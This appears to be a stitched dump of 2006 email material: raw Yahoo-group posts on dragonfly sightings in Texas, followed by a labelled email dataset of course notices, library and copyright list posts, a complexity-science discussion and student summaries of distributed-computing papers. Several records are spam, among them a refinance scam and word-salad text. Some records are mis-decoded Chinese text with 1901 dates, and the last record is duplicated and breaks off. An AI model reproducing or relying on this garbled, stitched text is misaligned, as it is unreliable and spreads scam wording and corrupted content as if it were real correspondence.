1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable Date: Fri, 19 May 2006 12:54:58 -0500 Message-ID: <827161E077DB2040AA22D85F86FF2173018558EA@...> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: BBC NEWS | Science/Nature | Tiny tags trace dragonfly paths Thread-Index: AcZ7POkS/7Djnkl5S4KlfHceEu2cggAMFeug To: ""TexOdes"" X-Originating-IP: 204.64.18.57 X-eGroups-Msg-Info: 1:12:0:0 From: ""Joshua Rose"" Subject: BBC NEWS | Science/Nature | Tiny tags trace dragonfly paths X-Yahoo-Group-Post: member; u=242093430; y=NAvO8H3293-G2di6J2ZJ3LYfLT51EeRRyJfkuo-63q81 X-Yahoo-Profile: dnhs99 >Click Here: >Check out ""BBC NEWS | Science/Nature | Tiny tags trace dragonfly paths"" >http://news.bbc.co.uk/2/hi/science/nature/4759615.stm Joshua S. Rose, Ph.D. Program Specialist World Birding Center Bentsen-Rio Grande Valley State Park joshua.rose@... 956-584-9156 x 236 X-Yahoo-Message-Num: 923 >From ccullar@... Sat May 20 11:13:13 2006 Return-Path: X-Sender: ccullar@... X-Apparently-To: TexOdes@yahoogroups.com Received: (qmail 55970 invoked from network); 20 May 2006 18:08:39 -0000 Received: from unknown (66.218.67.35) by m25.grp.scd.yahoo.com with QMQP; 20 May 2006 18:08:39 -0000 Received: from unknown (HELO python.wcsonline.net) (12.144.210.20) by mta9.grp.scd.yahoo.com with SMTP; 20 May 2006 18:08:38 -0000 Received: from eaststudio ([168.215.181.163]) by python.wcsonline.net (8.13.3/8.13.3) with SMTP id k4KI7Xx6016922 for ; Sat, 20 May 2006 13:07:35 -0500 Message-ID: <003201c67c38$47852a00$2afefea9@eaststudio> To: References: <000801c59181$36725b40$a71afea9@new> <00aa01c59196$04391960$a71afea9@new> Date: Sat, 20 May 2006 13:07:32 -0500 MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2869 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2869 X-Originating-IP: 12.144.210.20 X-eGroups-Msg-Info: 2:12:4:0 From: ""Carol Cullar"" Subject: Re: ID Help! X-Yahoo-Group-Post: member; u=53041732; y=0SjCXFIWU5mQgWh7aTTU5MecKre2cWr_iV5ur6FQOBdQ3IMM X-Yahoo-Profile: skoshi_98 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Can you help ID this dragonfly? The Cub Scouts netted a dragonfly this morning up on the headlands about a half mile from the Rio Grande. I've scoured every image in Dunkle's book and can't identify this guy. He is 1.8 to 1.9"" long and was a uniform grayish lavender between the black markings. It's eyes are metalic violet as described in the Black setwing, but I don't find the rest of the wings and body descrition a good match. [Non-text portions of this message have been removed] X-Yahoo-Message-Num: 924 >From ccullar@... Sat May 20 11:37:28 2006 Return-Path: X-Sender: ccullar@... X-Apparently-To: TexOdes@yahoogroups.com Received: (qmail 25415 invoked from network); 20 May 2006 18:37:27 -0000 Received: from unknown (66.218.66.166) by m22.grp.scd.yahoo.com with QMQP; 20 May 2006 18:37:27 -0000 Received: from unknown (HELO python.wcsonline.net) (12.144.210.20) by mta5.grp.scd.yahoo.com with SMTP; 20 May 2006 18:37:27 -0000 Received: from eaststudio ([168.215.181.163]) by python.wcsonline.net (8.13.3/8.13.3) with SMTP id k4KIb85C018828 for ; Sat, 20 May 2006 13:37:11 -0500 Message-ID: <004101c67c3c$69cf40b0$2afefea9@eaststudio> To: References: <000801c59181$36725b40$a71afea9@new> <00aa01c59196$04391960$a71afea9@new> <003201c67c38$47852a00$2afefea9@eaststudio> Date: Sat, 20 May 2006 13:37:07 -0500 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset=""iso-8859-1""; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2869 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2869 X-Originating-IP: 12.144.210.20 X-eGroups-Msg-Info: 2:7:4:0 From: ""Carol Cullar"" Subject: Re: ID Help! X-Yahoo-Group-Post: member; u=53041732; y=VM4zYYTsvuuZ_JOLrjsprE6YuKgB6Sw2EA6wf6T7_ZUZAo5Z X-Yahoo-Profile: skoshi_98 Sorry, no files allowed to attach, so here's 2 photos: http://pg.photos.yahoo.com/ph/skoshi_98/album?.dir=/85e7re2 X-Yahoo-Message-Num: 925 >From joshua.rose@... Sat May 20 13:46:41 2006 Return-Path: X-Sender: Joshua.Rose@... X-Apparently-To: TexOdes@yahoogroups.com Received: (qmail 78209 invoked from network); 20 May 2006 20:46:39 -0000 Received: from unknown (66.218.66.166) by m34.grp.scd.yahoo.com with QMQP; 20 May 2006 20:46:39 -0000 Received: from unknown (HELO tpwd-mx5.tpwd.state.tx.us) (204.64.18.57) by mta5.grp.scd.yahoo.com with SMTP; 20 May 2006 20:46:39 -0000 X-MimeOLE: Produced By Microsoft Exchange V6.0.6603.0 content-class: urn:content-classes:message MIME-Version: 1.0 Date: Sat, 20 May 2006 15:48:07 -0500 Message-ID: <827161E077DB2040AA22D85F86FF217302F66439@...> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: ID Help! and Bentsen odes 5-20-06 Thread-Index: AcZ8PLJ7HL9S/xp8QEuqRMtVjw5/ngADCQ/g To: X-Originating-IP: 204.64.18.57 X-eGroups-Msg-Info: 1:12:0:0 From: ""Joshua Rose"" Subject: RE: ID Help! and Bentsen odes 5-20-06 X-Yahoo-Group-Post: member; u=242093430; y=_GLV1lEz5iFWDytOR9V1YJ5bQsGVMAMb-DKF3a8tvswS X-Yahoo-Profile: dnhs99 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit -----Original Message----- From: Carol Cullar Sorry, no files allowed to attach, so here's 2 photos: http://pg.photos.yahoo.com/ph/skoshi_98/album?.dir=/85e7re2 Hi Carol, You had the right genus, wrong species. I think what you've got there is a Checkered Setwing (Dythemis fugax). It's always been one of my favorites: http://www.duke.edu/~jsr6/Dythfug.jpg Have seen that species only twice: the above photo from Santa Ana NWR, and one specimen I collected from the East Lake tract of LRGV NWR (yes, I had a permit) and sent up to John Abbott. Do not have it for my Bentsen list yet. Much less common than the other two US setwings, at least here in the Valley. A crew of 10 middle schoolers showed up today at Bentsen-Rio Grande Valley State Park. They camped here last night, with a teacher and two parents. They came out for the butterfly walk, but were equally interested in other insects, so we looked at odonates too. Actually, our most exciting find was probably that our pond is full of what seem to be Dytiscids, giant predaceous diving beetles, one adult and several larvae. Did not bother to check the canal closely due to brutal sun and stiff breeze, not really conducive to threadtails or other species there. A tally: Double-striped Bluet (Enallagma basidens) two males in the little pond north of the gift shop, finally refilled after a long dry spell Familiar Bluet (E. civile) manymales in both ponds, a couple of tandem pairs ovipositing Rambur's Forktail (Ischnura ramburii) one orange female, one olive-green female Blue-fronted Dancer (Argia apicalis) a few males and females scattered through the butterfly garden Blue-ringed Dancer (A. sedula) same, including one tandem pair not particularly close to water Prince Baskettail (Epitheca princeps) one male? patrolling near Kingfisher Overlook, seen during a morning walk Red-tailed Pennant (Brachymesia furcata) also seen earlier in the day. Four-spotted Pennant (B. gravida) one fly-by at the little pond Black Setwing (Dythemis nigrescens) one female near but not at the little pond Eastern Pondhawk (Erythemis simplicicollis) several female/imm. seen in various locations, not at water Great Pondhawk (E. vesiculosa) one of the most common species today, seen both at and away from water Band-winged Dragonlet (Erythrodiplax umbrata) one male at the pond, a few female/imm. around the garden Spot-tailed Dasher (Micrathyria aequalis) males on both ponds Blue Dasher (Pachydiplax longipennis) many female/imm. away from water; another species becoming more common Roseate Skimmer (Orthemis ferruginea) males on both garden ponds, a female mating and ovipositing on the little one Carmine Skimmer (O. discolor) several males and one female at water features in the park, but none in the garden Wandering Glider (Pantala flavescens) a male on the garden pond, others away from water Red Saddlebags (Tramea onusta) a few away from water 18 species total. Still have yet to see several usually common taxa yet this year: Black Saddlebags, Thornbush Dasher, any species of spreadwing damselfly. Have seen the same number of species in the genus Neoneura as I have in the family Aeshnidae (2 each)! But I still think I could top 40 species with a few hours' focused search around Hidalgo County: here, Anzalduas, NABA, Santa Ana, VNC, maybe Estero Llano Grande and Edinburg, perhaps Martin Reid's little discovery in McAllen; if I wanted to get really crazy I could add La Sal del Rey. And hey, just a few more weeks until the start of Leptobasis season down here... Tom Langscheid, are you still out there? Still planning to do a dragonfly count on or around July 4? Josh Joshua S. Rose, Ph.D. Program Specialist World Birding Center Bentsen-Rio Grande Valley State Park joshua.rose@... 956-584-9156 x 236 [Non-text portions of this message have been removed] X-Yahoo-Message-Num: 926 >From lgduhon@... Sat May 20 19:38:28 2006 Return-Path: X-Sender: lgduhon@... X-Apparently-To: TexOdes@yahoogroups.com Received: (qmail 24124 invoked from network); 21 May 2006 02:38:24 -0000 Received: from unknown (66.218.66.216) by m1.grp.scd.yahoo.com with QMQP; 21 May 2006 02:38:24 -0000 Received: from unknown (HELO rwcrmhc12.comcast.net) (204.127.192.82) by mta1.grp.scd.yahoo.com with SMTP; 21 May 2006 02:38:23 -0000 Received: from lawrenceduhon (c-24-2-0-68.hsd1.tx.comcast.net[24.2.0.68]) by comcast.net (rwcrmhc12) with SMTP id <20060521020058m1200pq98ve>; Sun, 21 May 2006 02:00:58 +0000 To: ""TexOdes"" Date: Sat, 20 May 2006 21:00:47 -0500 Message-ID: <003901c67c7a$63d36310$3f20fea9@LAWRENCEDUHON> MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: quoted-printable X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.6626 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2869 Importance: Normal X-Originating-IP: 204.127.192.82 X-eGroups-Msg-Info: 1:12:0:0 From: ""Lawrence Duhon"" Subject: Lewisville Odes 5/20/06 X-Yahoo-Group-Post: member; u=228133302; y=YLb8u3zq7DOvVCn3W9SCcUUrvHKrN8Gqw-Z6D9lOqL9hFIvAVBEJnhi9 X-Yahoo-Profile: reachallpeoples A mid-day visit (11:45 a.m. - 12:40 p.m.) to Fox Creek Greenbelt proved fairly productive for odonates. These 13 species were found, many in good numbers: Kiowa Dancer (Argia immunda) -- a few males patrolling Powdered Dancer (Argia moesta) -- a couple of males patrolling, FOS here Aztec Dancer (Argia nahuana) -- abundant, many mating pairs Blue-ringed Dancer (Argia sedula) -- abundant, many mating pairs Dusky Dancer (Argia translata) -- close-up of a male at http://www.duhons.net/Argia_translata.htm , FOS here Stream Bluet (Enallagma exsulans) -- nice close-up of a mating pair at http://www.duhons.net/Enallagma_exsulans.htm , FOS here Fragile Forktail (Ischnura posita) -- one male patrolling Desert Firetail (Telebasis salva) -- a few males patrolling and mating pair= s Neon Skimmer (Libellula croceipennis) -- FOS here Slaty Skimmer (Libellula incesta) -- FOS here Widow Skimmer (Libellula luctuosa) -- one young male Common Whitetail (Libellula lydia) -- a few males patrolling Blue Dasher (Pachydiplax longipennis) -- a few males patrolling Lawrence Duhon Lewisville, TX http://www.duhons.net/odonates.htm=20 Prev by Date: SE NM Pecos Easter Odes Previous by thread: SE NM Pecos Easter Odes Index(es): Date Thread   Permission to use, copy and distribute documents delivered from this server, with the exception of photographs and content related to the Dragonfly Society of the Americas, is hereby granted with restrictions.   OdonataCentral should be cited in all cases where the content is used.  Click here for Restrictions of Use and the correct citation. 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He paused for a second, and then quickly, > simply, said, ""No .. none at all."" > Great question, Jamie. And the answer, if translated properly, says the NKS has little to do with *reality*. However, thinking and rethinking the S. Wolfram' findings (and asking him at other Complexity Conference *my* question), i came to the conclusion that still there is smth exciting in his findings. And this is *not* about ""similarities"" (of his CA models) with reality. This is what looks to me as the very first step to the coming ""new kind of computing"" (NKC) or better the ""new kind of problem solving"". That is, the ""new kind of non-computational, organic problem solving"". What i mean is the switching from traditional slow, offline ""wet-neural-tissue-and-paper"" modeling substrate to the new, online high-performance ""electrons-in-silicon"" modeling substrate. Now the model becomes an easy-to-test-and-update model vs. old, symbols-on-papers, impossible-to-test-and-update model. Of course, with computers available, the old symbolic models can be converted - via algorithm and program design-development-testing cycle - into a ""shadow"" of direct in-silico model. However, this indirect fixing is a *temporal* measure, with direct data-driven on-the-fly in-silico model-building and problerm solving already making its first steps. Such an *organic* problem-solving does not require complicated (and not really available) equations for real-world applications, and is actually a problem-solving technique utilized in nature, in the living dynamic world. [i learned all that first from my dog and then from my grandson]. Data/inputs, online model-building and ""automagic"" decision-making - no equations, no algorithms, no programs - but lots of online testing and updating by the great in-live trial-and-errors. > What makes us think that the universe is any less clever?!? It's > not. Wolfram was quite wrong .. his algorithms quite likely -are- > in the physicality of atoms and molecules. They just aren't quickly > identified, any more than any one of us can read a bit-stream > and identify Mona Lisa's smile or the texture of the hills > behind/around her - or the ""Matrix"" watchers can look at the streams > of moving code and recognize porn images or Keanu-action. > i agree if you mean here that S.Wolfram' algorithms mimic somehow the physical reality. Yes, the NKS seems to me makes implicitly a point that the computer dynamics (expressed, say, in the CA language) may be a *primary* modeling resource; however, it is not yet a problem-solving mechanism > The universe transduces information .. and it's now one > of our challenges to discern and denote the transductions. > > In the end -- the maps and the territories will -- be understood > recombined. > > > Jamie > 2006/04/10 Does all that make any sense? Optimistical-ly y'rs, val PS: Of course, silicon chip (as we know it) is far away from the organically-designed silicon (handling the context and associations within a persistent framework). That's where/how your ""maps and territories are recombined"" So, to me, the point is bridging a gap between dynamic/animated reality and passive, dead, symbolic, highly abstract format of traditional (analytical) models. I see computer (animated) models as *primary* way of *undestanding via modeling*. Live models vs. symbol-based, need-to-be-made-live models. Live, online integrated with data models vs. dead, offline, detached from data models. Live and ready-to-be-tested models vs. symbol-based need-to-be-made-testable ones. The NKS (remote) similarity with crystal growth is just one of the many features of dynamic modeling matter. THis is not problem-solving yet, but the first step in right direction - to me. One of the critical missing links in S. Wolfram findings is the constraints/control from the Env; the other one is a persistent content-based storage, a foundation for learning and updating. ",0,0 Madhavi Krishnan ,cs352-swk@lists.cc.utexas.edu,"Sun, 23 Apr 2006 17:36:13 -0500",Office hours on Monday,"Hi CS352-ers, I shall be holding office hours at ESB 229 from 3:00-4:00PM on Monday, April 24, 2006, instead of 11:30-12:30PM. Mail me if you need some help but cannot make to my office hours. We can make an appointment. Madhavi ",0,0 Madhavi Krishnan ,cs352-swk@lists.cc.utexas.edu,"Sun, 23 Apr 2006 19:26:01 -0500",Simple trace files,"The simple trace files are available via the following link: http://www.cs.utexas.edu/users/skeckler/cs352/project/ I have changed the configuration of the cache to test the simple trace file. Check the specification2 document. http://www.cs.utexas.edu/users/skeckler/cs352/homework/project2.txt Let me know if you have any questions. Madhavi ",0,1 Madhavi Krishnan ,cs352-swk@lists.cc.utexas.edu,"Sun, 23 Apr 2006 22:11:38 -0500",Re: Office hours on Monday,"By popular demand, I am moving my office hours to 5:00-6:00pm on Monday, April 24,2006. I am not sure if ESB 229 will be open. So I will be holding it in the discussion room near Prof.Keckler's office. Its the open room adjacent to Prof.Burger's room. Madhavi On Sun, 23 Apr 2006, Madhavi Krishnan wrote: > Hi CS352-ers, > > I shall be holding office hours at ESB 229 from 3:00-4:00PM on Monday, April > 24, > 2006, instead of 11:30-12:30PM. Mail me if you need some help but cannot > make to my office hours. We can make an appointment. > > Madhavi > ",0,0 Anthony ,DMDX@psy1.psych.arizona.edu,"Mon, 24 Apr 2006 12:36:37 +0900",Re-finance Application pre-approval,"Dear Home Owner, Your credit doesn't matter to us! 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Sincerely, Anthony Approval Manager ",1,1 Edgar Skinner ,lindsey@cs.utexas.edu,"Mon, 24 Apr 2006 00:18:11 -0600",ȸ����! ����� �ڱݹ���! ���� ���̻� �������� ������!,"tepid scramble ft seclude intone monty edifice michelson ragweed stanton coffman viaduct statistician accessory ",1,0 Bruceg~ �ܺA���~�b �q�� �n�Y�� �����D�� �W�M�D�}�a���k / �h�W���~���W���� �C���餺�îg{Dominick} ,webmaster@kukui.ifa.hawaii.edu,"Mon, 18 Nov 1901 00:03:01 +0800",�Ѧr��-��-�H-��-��-���S�ӤF..�y����饫��..�K�y�^�X��..�ѫȤ�֦^�ӶR�@,�s�W����1 �@ ���k���h�n���}���q...���K�����d�@ ����~(�n���}���S����) gases Bruceg~ 40 �� �u�n 1550 Bruceg~ [����]�@�d�����A��~�o���~�@�d~�����p�����u�O�S���n~barre Ami Ayukawa ���t���� 2/18/1981 160 90-62-87 E-70 �@,1,1 Peter Suber ,SPARC-OAForum@arl.org,"Mon, 24 Apr 2006 12:01:46 -0400","""The Successful Repository"" : a forthcoming APSR event","[Forwarding from Margaret Henty. --Peter.] Forum: The Successful Repository, Brisbane, June 29, 2006. APSR, in collaboration with the Queensland University Libraries Office of Cooperation (QULOC) and the RUBRIC Project, is pleased to announce ""The Successful Repository"", a forum on issues of repository management to be held in Brisbane on 29 June. Many Australian universities have now recognised the need for a repository and have taken steps to put one into place. ""The Successful Repository"" is designed for repository managers, administrators and funders who are seeking to ensure that they get the best value from their repository. The topics to be covered will include costing the repository, measuring repository value and adapting the repository to serve the institutional mission. Speakers will include Susan Gibbons, Assistant Dean, Public Services & Collection Development, University of Rochester, and John Houghton, Professorial Fellow in Strategic Economic Studies at Victoria University of Technology. The Successful Repository will be held at Customs House, 399 Queen Street, Brisbane on 29 June. The cost of attendance is $75. Further details, and a registration form, can be found at http://www.apsr.edu.au/successful/successful.htm . Susan Gibbons will also be presenting a public lecture on the morning of Friday, June 30, to be entitled ""Redefining Academic Librarianship for the Net Generation"". This will be held at the University of Queensland and further details will be made available as they come to hand. Margaret Henty National Services Program Coordinator Australian Partnership for Sustainable Repositories W. K. Hancock Building (#43) The Australian National University Canberra, ACT, 0200, AUSTRALIA phone (02) 6125 7685 mob. 0404 878 442 http://www.apsr.edu.au",0,1 Peter Suber ,SPARC-OAForum@arl.org,"Mon, 24 Apr 2006 12:41:49 -0400",Cancellation Notice: Interoperability and Institutional Repository Conference 2006,"[Forwarding from Johann van Reenen. --Peter.] The Interoperability and Institutional Repository Conference scheduled for 26-28 July 2006 in Albuquerque, New Mexico, USA, has been cancelled due to logistical complications. Advance interest was keen and showed the need for such a technology-based problem solving event. We may reschedule later with two events to accommodate the two audiences that emerged. Please remove any publicity from your lists. Thank you, IIR Conference Committee Contact Information: Johann van Reenen (University of New Mexico) jreenen@unm.edu Corinne Lebrun, AISTI, Santa Fe, cl@aisti.org Alliance for Innovation in Science & Technology Information (www.aisti.org)",0,0 ,,,Re: Soft-state physics (2),"Dear Stephen, Sorry for my late reply. You may be interested in looking up the following papers: 1. C. W. McClare (1974). Resonance in Bioenergetics. Ann. N. Y. Acad. Sci. 227:74-97. 2. Li, K. H., and Popp, P. A. (1990). Dynamics of DNA Excited States. In: Molecular and Biological Physics of Living Systems (Mishra, R. K.), Kluwer Academic Publishers, Dordrecht. Pp. 3-52. Good luck. Sung > Dear Sung, > > I am investigating the harmonic resonance properties of biopolymers. > Have you found, by chance, any papers discussing the possibility of > quasi-crystal like properties and/or 5-fold symmetries in biopolymers? > > Kindest regards, > > Stephen > > -------------------------------------------------- > For information about this discussion group visit > http://necsi.org/discuss/discuss.html > ",0,1 Onur Polat ,,,Re: [CNI-(C)] Re: Publishing song titles and artist names on a commercial web site,"Thanks to all who have read my post and thought over an answer. And special thanks to Steven, Tim and James who spared some time for a response. Best regards. Onur Polat ----- Original Message ----- From: ""Agenbroad, James (Civ,ARL/CISD)"" To: ""CNI-COPYRIGHT -- Copyright & Intellectual Property"" Sent: Monday, April 24, 2006 11:15 PM Subject: [CNI-(C)] Re: Publishing song titles and artist names on a commercial web site Of course if you copy someone else's selection and arrangement uncopyrightable facts you're in trouble. ; -) ________________________________ From: CNI-COPYRIGHT -- Copyright & Intellectual Property [mailto:CNI-COPYRIGHT@cni.org] On Behalf Of Steven Jamar Sent: Monday, April 24, 2006 3:25 PM To: CNI-COPYRIGHT -- Copyright & Intellectual Property Subject: [CNI-(C)] Re: Publishing song titles and artist names on a commercial web site Keeping in mind that I am responding only to this very specific and narrow request and no attorney-client relationship is created by my response, here it is: Factual bibliographic and indexing sorts of information are not protected by copyright. Under copyright law you do not need permission to publish (online or anywhere else) a listing of composers, songs, performers, or other such basic, factual information. So publish away! On Apr 24, 2006, at 11:45 AM, Onur Polat wrote: I'm thinking over publishing song titles and artist names on a web site, on which there also will be commercial advertisements. It will be like this: ""Songs about love: I love you - Frank Lovetra I love you too - Jennifer Lovezz "" Do I need to get permission for publishing such information? Please note that the site will be a commercial one, and there will appear advertisements on the pages with these lists. Also note that lyrics or the music itself will not be published. Just the titles of the songs and artists that sing / play / composed them. Thank you for any replies in advance. Onur Polat ############################################################# This message is sent to you because you are subscribed to the mailing list . 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Albert Einstein",0,1 Doug Isenberg ,,,Artists Rights Society Asks Google to Remove Logo,"An interesting copyright issue for Google, this time not involving the scanning of library books: ""The Artists Rights Society, a group that represents more than 40,000 visual artists and their estates, demanded Google remove a logo honoring Spanish surrealist painter Joan Miro, after a Miro family member logged onto Google's home page and discovered a logo that incorporated images used in multiple copyrighted works. 'It's a distortion of the original works and in that respect it violates the moral rights of the artist,' said Theodore Feder, president of Artists Rights Society."" See http://www.gigalaw.com/news/2006/04/artists-rights-society-asks-google-to.ht ml Doug Isenberg Attorney at Law: http://www.GigaLawFirm.com Publisher, GigaLaw.com: http://www.GigaLaw.com Author, The GigaLaw Guide to Internet Law: http://www.GigaLaw.com/guide ",0,1 """Duncan, Thomas"" ",Woodland Fulltime Faculty ,"Mon, 24 Apr 2006 20:05:00 -0700",Re: Faculty Meeting Minutes,"Excuse me, where do you work? Thomas Duncan On Mon, 24 Apr 2006 17:18:05 -0700 ""George Galamba"" wrote: > Please note in the minutes attached: > > ® Copier update: April 24th the additional features >will be added to the > photocopiers. > > Today is April 24th, and the additional features have >not been added. Just > an observation. > > -----Original Message----- >From: Joan Penning [mailto:jpenning@yccd.edu] > Sent: Monday, April 24, 2006 4:12 PM > To: Vicki Machado; Julie Brown; Terry Turner; David >Buck; Monica Chahal; > Jose Vallejo; Thomas Duncan; George Galamba; Greg >Gassman; Jeannine > Weigt; Donna McGill-Cameron; Noel Bruening; Clark Smith; >Cay Strode; > Judy Bean; Cheryl Latimer; Matt Clark; Jesse Ortiz; >Cynthia Kellogg; > Barbara Rhode; Lee Mitchell; Roxanne Snyder; Hanan >Souki; Beatriz > Vasquez; Angela Fairchilds; Stacey Cook; Mary Huizar; >Cathy Richter; > Shirley Evans > Subject: Faculty Meeting Minutes > > > Attached are the revised minutes from the March 28th >faculty meeting > with the addition of Item 8. > The minutes from the April 11th meeting are also >attached. > > Due to the SLO meeting tomorrow, our next Faculty >Meeting will be > Tuesday, May 9th. Any items you wish to have on the >agenda may be > forwarded to me. > > Joan > > > > ############################################################# > This message is sent to you because you are subscribed >to > the mailing list . > To unsubscribe, E-mail to: > > To switch to the DIGEST mode, E-mail to > > To switch to the INDEX mode, E-mail to > > Send administrative queries to > >",0,0 ARL Communications ,,,"On the ARL Server (April 24, 2006)","On the ARL Server Week of April 24, 2006 Rochester's Susan Gibbons Named ARL Visiting Program Officer SPARC Recognizes Herbert Van de Sompel for Outstanding Contributions to Scholarly Communication; New SPARC Innovator Program Acknowledges Individuals, Institutions, and Groups Whose Actions Change the Status Quo The LibQUAL+™ Update, March 27, 2006 [PDF] ARL Membership Meeting, May 16–19 in Ottawa Nominations for 2006 Service Quality Evaluation Academy—Due May 1 Application Materials for Graduate School Stipend from ARL Initiative to Recruit a Diverse Workforce—Due June 21 [PDF] ARL/ACRL Institute on Scholarly Communication, hosted by UCLA, July 12–14, 2006 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Kaylyn Hipps Editorial & Research Associate Association of Research Libraries 21 Dupont Circle NW #800 Washington DC 20036 tel: 202.296.2296 fax: 202.872.0884 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: This message is being sent to you because you are subscribed to the mailing list ARL-ANNOUNCE@arl.org To unsubscribe, e-mail ARL-ANNOUNCE-off@arl.org To switch to the DIGEST mode, e-mail ARL-ANNOUNCE-digest@arl.org To switch to the INDEX mode, e-mail ARL-ANNOUNCE-index@arl.org Send administrative queries to ARL-ANNOUNCE-request@arl.org Visit the Web archive at https://mx2.arl.org/Lists/ARL-ANNOUNCE/",0,1 ���۩u ,egs+summary@cs.cornell.edu,"Mon, 09 Dec 1901 01:55:00 +0800",�M�~�^��ѫH�j���A���ɦۤv���a��,2006�M�~�^�����H�j������ �`�O�Q�}�Y�F���O�g���X�����^�����H��???? ���������t�����U���^�������B�a���B�����B�B���B�O�I�B���P�B�U�����~���H�d�� ���G ���~�O���B�{�p���d�B�M���N�z���B�����N�z�X���B�����N�z���B �N�z���������B�N�z���������B�P�N�z���q�H�B�X�f�����B �D���H�B�����M���^���B�����������������c���������K ���B�����������A�Y�L�k�[�����n�U���������i�J�D�� �����N�O�����A�P���d�M�U���r���B���M���B�n���P���D���K�����p�����������A �J�������O�A�S�����������M�~���P���A���������O??�����U���o!! �����U���q��!! ���h���������������b��,1,1 Ari Rabkin ,egs+summary@cs.cornell.edu,"Sun, 23 Apr 2006 03:38:33 -0400",PAPER 24," Seti@Home: Seti@Home is a system for massively distributed analysis of radio telescope data by idle hosts at the edge of the internet. It runs as a screensaver on user desktops. The analysis is mostly Fourier decomposition--CPU intensive, not requiring much storage, and readily repeated and verified to control for error. Code and data is distributed under signature. Seti@Home is build on top of the BOINC toolkit for distributed computation. BOINC is most applicable for CPU-bound tasks that can be divided into small data chunks, since bandwidth to edge nodes is limited. The central server must hand out every work unit, imposing substantial burden. The system has a number of worrisome security aspects. First, users must trust the supplier of the code--there is no sandboxing, so a malicious application can compromise user machines. Second, an attacker might be able to ""upgrade"" a user's machine back to a previously released (and signed) version of the application code, in which vulnerabilities have been found. BOINC would be much improved by sandboxing. CCOF: CCOF is a system for ""cluster computing on the fly"" -- for assigning cycle-intensive tasks to idle machines. CCOF offers algorithms for large workpile batch compute tasks, as well as point-of-presence tasks. The large workpile algorithm involves building a CAN and assigning nodes to locations based on their timezone, so that tasks can be given to idle machines during local night. The intent of this is to ensure that machines donating cycles are likely to be idle for long periods. The insight motivating the CCOF system is that machines are likely to be idle for long blocks during night hours. I'm writing this summary at 3:30 am, so this seems like an undue assumption. Moreover, it assumes that machines have their timezone set correctly. As its underlying substrate, it uses a CAN. This makes me suspect that CCOF doesn't really exist, since I am unaware of any CAN implementations. Ari Rabkin asr32@cornell.edu Risley Hall 454 3-2842 The resources of civilization are not yet exhausted. --William Gladstone ",0,0 Gopal Parameswaran ,egs+summary@cs.cornell.edu,"Tue, 25 Apr 2006 00:03:09 -0400",PAPER 24,"Cluster Computing on the Fly This paper discusses the application of peer to peer in cluster computing and harvesting cycles from ordinary users in an open access, non institutional environment and discusses the different forms of harnessing the idle computer cycles and then concludes with a scheduling method based on usages on night time free times for machines. As the author states the goal of this paper is to develop a scheduling infrastructure that can support automatic scheduling for p2p cycle sharing applications viz. Infinite workpile applications such as SETI which require a massive amount of computation time and usually operates under a master slave mode based scheduling of jobs, workpile applications with deadlines which are similar to the infinite workpiles but are on a smaller scale and are driven by deadlines and Tree and point of presence based applications. However the peer to peer community’s main contributions would come as the author suggests in an open P2p cycle sharing environment where different hosts can share their cycles and take advantage of the vast resources of a global network of machines especially that is disparate in terms of free cycle times due to the different time zones resulting in different periods of inactivity for the machines. The authors approach relies on distributed schedulers with localized schedulers scheduling tasks across a local geographic region that constitutes a time zone with a global application scheduler that looks into scheduling requirements and managing and verifying results. Their concept called wave scheduler seeks to capture cycles from the millions of machines idle at night by following time zones which are represented in a CAN overlay with time zone being chosen as one of the dimensions in the d-dimensional mesh. When a host joins the network and wishes to share its cycles it randomly selects a node label and joins the network in the time zone in which it is. The application scheduler knows which time zones are night time zones and decides on the number of hosts that a particula ion of the scheduling if it was done partly with the local scheduler with the application scheduler deciding on the ration of allocation to different time zones and letting the local scheduler decide on the actual local scheduling in a time zone would have resulted in a more intelligent control. The authors have explored an area of application for peer to peer which I believe could be the future of computing for the ordinary users. ",0,0 Philip Kuryloski ,egs+summary@cs.cornell.edu,"Tue, 25 Apr 2006 01:15:38 -0400",PAPER 24,"CLUSTER COMPUTING ON THE FLY: The authors propose a distributed P2P system which attempts to schedule the use of client machines throughout the internet at night in their local timezone using an overlay network. Participating hosts are quizzed to evaluate the level at which they can be trusted as members of the cycle sharing network. The system handles all aspects of scheduling at both the global and local level, which the authors call generally a ""P2P Scheduling System"". The authors see four broad classes of applications: infinite workpile, deadline driven workpile, tree based search, and point of presence, all off which they attempt to handle. These essentially reflect different degrees of coordination between donating nodes. The primary disparity between traditional grid computing and P2P clustering is that there is an implied amount of trust or value in the jobs being submitted (otherwise users would not participate). In an open system, such guarantees are not implicit. Furthermore, there is potentially less confidence or trust in other participating nodes. Also, there is potentially a much larger variation in the resources needed by particular jobs, making management, finding, and scheduling of resources more difficult.",0,0 Philip Kuryloski ,egs+summary@cs.cornell.edu,"Tue, 25 Apr 2006 01:15:38 -0400",PAPER 24,"CLUSTER COMPUTING ON THE FLY: The authors propose a distributed P2P system which attempts to schedule the use of client machines throughout the internet at night in their local timezone using an overlay network. Participating hosts are quizzed to evaluate the level at which they can be trusted as members of the cycle sharing network. The system handles all aspects of scheduling at both the global and local level, which the authors call generally a ""P2P Scheduling System"". The authors see four broad classes of applications: infinite workpile, deadline driven workpile, tree based search, and point of presence, all off which they attempt to handle. These essentially reflect different degrees of coordination between donating nodes. The primary disparity between traditional grid computing and P2P clustering is that there is an implied amount of trust or value in the jobs being submitted (otherwise users would not participate). In an open system, such guarantees are not implicit. Furthermore, there is potentially less confidence or trust in other participating nodes. Also, there is potentially a 